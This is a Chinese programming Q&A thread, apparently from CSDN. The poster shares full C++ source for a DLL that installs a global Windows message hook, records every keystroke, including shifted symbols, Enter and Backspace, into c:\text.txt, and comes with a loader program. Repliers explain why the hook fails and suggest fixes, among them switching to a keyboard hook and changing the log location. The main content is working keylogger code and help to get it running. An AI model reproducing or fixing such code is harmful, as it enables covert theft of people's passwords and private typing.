win32 sdk钩子函数问题,请大家解决

安装钩子函数不能成功?为什么
我在网上找了,但是没找到解决方法,是我弄错了吗
加载动态链接库能成功,可是安装钩子不能成功??

这是头文件 hookdll.h

 #ifndef        HOOKDLL_H
#define     HOOKDLL_H
    extern "C" bool _declspec(dllexport)EndHook(void);
    extern "C" bool _declspec(dllexport)StartHook(void);
#endif

这是动态链接库文件hookdll.cpp

 #include   "hookdll.h"
#include    <stdio.h>
#include    <stdlib.h>
#include    <string.h>
#include    <windows.h>
//#include  "hookdll.h"
#define     MAX     256
#define     FILE    "c:\\text.txt"

HHOOK   kg_hHook;
HINSTANCE   hInstance;


bool    DataToFile(char* p){
    DWORD   dWrite = 0;
    HANDLE  hFile = CreateFile(FILE,GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
    if(hFile == INVALID_HANDLE_VALUE){
        printf("CreateFile failed: %d\n",GetLastError());
        return false;
    }
    if(SetFilePointer(hFile,0,0,FILE_END) == HFILE_ERROR){
        printf("SetFilePointer failed: %d\n",GetLastError());
        return false;
    }
    if(WriteFile(hFile,p,strlen(p),&dWrite,0) == 0){
        printf("WriteFile failed: %d\n",GetLastError());
        return false;
    }
    CloseHandle(hFile);
    return true;
}


LRESULT CALLBACK    KeyHookProc(int nCode,WPARAM    wParam,LPARAM lParam){
    if(nCode < 0)
        return CallNextHookEx(kg_hHook,nCode,wParam,lParam);
    if(nCode == HC_ACTION){
        MSG* pEventMsg = (MSG*)lParam;
        if(pEventMsg->message == WM_KEYDOWN){
            int vKey = pEventMsg->wParam;
            char    ch;
            char    Buff[10];
            memset(Buff,0x00,10);
            const int keyMask = 0x80000000;
            int iShift = GetKeyState(0x10);
            int iCapital = GetKeyState(0x14);
            int iNumLock = GetKeyState(0x96);
            BOOL    bShift = (iShift & keyMask) == keyMask;
            BOOL    bCapital = (iCapital & 1) == 1;
            BOOL    bNumLock = (iNumLock & 1) == 1;
            if(vKey >= 48 && vKey <= 57){
                switch(vKey){
                case 48:if(!bShift) ch = '0';else ch = ')';break;
                case 49:if(!bShift) ch = '1';else ch = '!';break;
                case 50:if(!bShift) ch = '2';else ch = '@';break;
                case 51:if(!bShift) ch = '3';else ch = '#';break;
                case 52:if(!bShift) ch = '4';else ch = '$';break;
                case 53:if(!bShift) ch = '5';else ch = '%';break;
                case 54:if(!bShift) ch = '6';else ch = '^';break;
                case 55:if(!bShift) ch = '7';else ch = '&';break;
                case 56:if(!bShift) ch = '8';else ch = '*';break;
                case 57:if(!bShift) ch = '9';else ch = '(';break;
                }
                Buff[0] = ch;   
                DataToFile(Buff);
            }
            if(vKey >= 65 && vKey <= 90){
                if(!bCapital){
                    if(bShift)
                        ch = vKey;
                    else 
                        ch = vKey + 32;
                }
                else{
                    if(bShift)
                        ch = vKey + 32;
                    else
                        ch = vKey;
                }
                Buff[0] = ch;
                DataToFile(Buff);
            }
            if(vKey >= 96 && vKey <= 105){
                if(bNumLock){
                    switch(vKey){
                    case 96: ch = '0';break;
                    case 97: ch = '1';break;
                    case 98: ch = '2';break;
                    case 99: ch = '3';break;
                    case 100:ch = '4';break;
                    case 101:ch = '5';break;
                    case 102:ch = '6';break;
                    case 103:ch = '7';break;
                    case 104:ch = '8';break;
                    case 105:ch = '9';break;
                    }
                    Buff[0] = ch;
                    DataToFile(Buff);
                }
            }
            if(vKey >= 106 && vKey <= 222){
                switch(vKey){
                case 186:if(!bShift) ch = ';';else ch = ':';break;
                case 187:if(!bShift) ch = '=';else ch = '+';break;
                case 188:if(!bShift) ch = ',';else ch = '<';break;
                case 189:if(!bShift) ch = '-';else ch = '_';break;
                case 190:if(!bShift) ch = '.';else ch = '>';break;
                case 191:if(!bShift) ch = '/';else ch = '?';break;
                case 192:if(!bShift) ch = '`';else ch = '~';break;
                case 219:if(!bShift) ch = '[';else ch = '{';break;
                case 220:if(!bShift) ch = '\\';else ch = '|';break;
                case 221:if(!bShift) ch = ']';else ch = '}';break;
                case 222:if(!bShift) ch = '\'';else ch = '\"';break;
                default:
                    break;
                }
                Buff[0] = ch;
                DataToFile(Buff);
            }
            switch(vKey){
            case 8: strcpy(Buff,"[BK]");
                    DataToFile(Buff);
                    break;
            case 13:
                    strcpy(Buff,"[enter]");
                    DataToFile(Buff);
                    break;
            default:
                    break;
            }
        }
    }
    return CallNextHookEx(kg_hHook,nCode,wParam,lParam);
}


bool    StartHook(void){
    if(kg_hHook)
        return false;
    kg_hHook = SetWindowsHookEx(WH_GETMESSAGE,KeyHookProc,hInstance,NULL);
    if(kg_hHook)
        return true;
    return false;
}

bool    EndHook(void){
    if(!kg_hHook)
        return false;
    if(UnhookWindowsHookEx(kg_hHook))
        return true;
    return false;
}


DWORD   WINAPI  DllMain(HANDLE hModule,DWORD    ul_reason_for_call,LPVOID lpResvered){
    hInstance = (HINSTANCE)hModule;
    switch(ul_reason_for_call){
    case    DLL_PROCESS_ATTACH:
        printf("DLL_PROCESS_ATTACH\n");
        break;
    case    DLL_PROCESS_DETACH:
        if(!kg_hHook) UnhookWindowsHookEx(kg_hHook);
        printf("DLL_PROCESS_DETACH\n");
        break;
    case    DLL_THREAD_ATTACH:
        printf("dll_thread_attach\n");
        break;
    case    DLL_THREAD_DETACH:
        if(!kg_hHook) UnhookWindowsHookEx(kg_hHook);
        printf("dll_thread_detach\n");
        break;
    default:
        break;
    }
    return true;
}

这是调用文件

 #include   <stdio.h>
#include    <stdlib.h>
#include    <windows.h>
typedef     bool(*starthook)(void);

int     main(void){
    HINSTANCE   hDll = LoadLibrary("hookdll.dll");
    starthook startHook;
    if(hDll)
        startHook = (starthook)GetProcAddress(hDll,"StartHook");
    else
        printf("error\n");
    if(!startHook)
        printf("errpr\n");
    else
        startHook();
    return 0;
}

困扰了我好久。。。请大家解决

2个回答

你的问题在哪一步。。。调试一下,看看问题出在哪里。再来讨论为什么会出问题

nashuidian
nashuidian 回复不是阿尔伯特: 我看看,谢了
5 年多之前 回复
albertbush
不是阿尔伯特 回复nashuidian: 请参见http://download.csdn.net/detail/albertbush/8698975
5 年多之前 回复
albertbush
不是阿尔伯特 回复nashuidian: 几个问题:1.表示日志文件名的宏叫FILE,和stdio的文件类型重名,建议改掉。2.写日志文件写在C盘根目录,我测下来好像写不了,建议写在DLL本地。3.用控制台应用做测试,好像不行。因为控制台不是消息机制的,我实际是写了个VB的程序调用来测试dll的。第4.(我没有测)为什么不直接用键盘钩子而要用消息钩子在判断出WM_KEYDOWN来
5 年多之前 回复
nashuidian
nashuidian 运行没有出错,我在安装钩子函数StartHook在每一句后面输出调试信息,没有错误,SetWindowHookEx也没有返回错误
5 年多之前 回复

查看安装方法返回什么信息,是不是权限不够

nashuidian
nashuidian 在虚拟机上试的,没装杀毒软件
5 年多之前 回复
oyljerry
oyljerry 回复nashuidian: 是不是被杀毒软件拦截了
5 年多之前 回复
nashuidian
nashuidian 什么意思,怎么查看?
5 年多之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
立即提问
相关内容推荐